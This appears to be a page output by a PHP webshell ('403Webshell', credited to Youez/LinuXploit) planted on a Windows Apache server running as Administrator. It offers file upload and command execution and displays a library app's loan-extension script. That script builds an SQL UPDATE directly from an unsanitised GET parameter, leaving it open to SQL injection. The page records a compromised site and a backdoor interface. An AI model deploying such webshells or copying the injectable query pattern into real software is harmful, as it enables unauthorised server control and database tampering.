403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon2/www/perpusweb/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon2/www/perpusweb/admin//perpanjang.php
<?php
$id_transaksi	= isset($_GET['id_trans']) ? $_GET['id_trans'] : "";
$judul			= isset($_GET['judul']) ? $_GET['judul'] : "";
$tgl_kembali	= isset($_GET['kembali']) ? $_GET['kembali'] : "";
$lambat			= isset($_GET['lambat']) ? $_GET['lambat'] : "";



if($lambat > 7) {
	echo "<script>alert('Anda Sudah lewat dari maksimal batas pengembalian, silahkan kembalikan buku kemudian pinjam kembali!'); window.location = 'transaksi.php'</script>";

} else {
	include "../conn.php"; 

	$pecah			= explode("-",$tgl_kembali);
	$next_7_hari	= mktime(0,0,0,$pecah[1],$pecah[0]+3,$pecah[2]);
	$hari_next		= date("Y-m-d", $next_7_hari);


	$update_tgl_kembali=mysqli_query($koneksi, "UPDATE trans_pinjam SET tgl_kembali='$hari_next' WHERE id='$id_transaksi'");

	if ($update_tgl_kembali) {
		echo "<script>alert('Peminjaman buku berhasil diperpanjang!'); window.location = 'transaksi.php'</script>";
	} else {
		echo "<script>alert('Peminjaman buku gagal diperpanjang!'); window.location = 'transaksi.php'</script>";
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit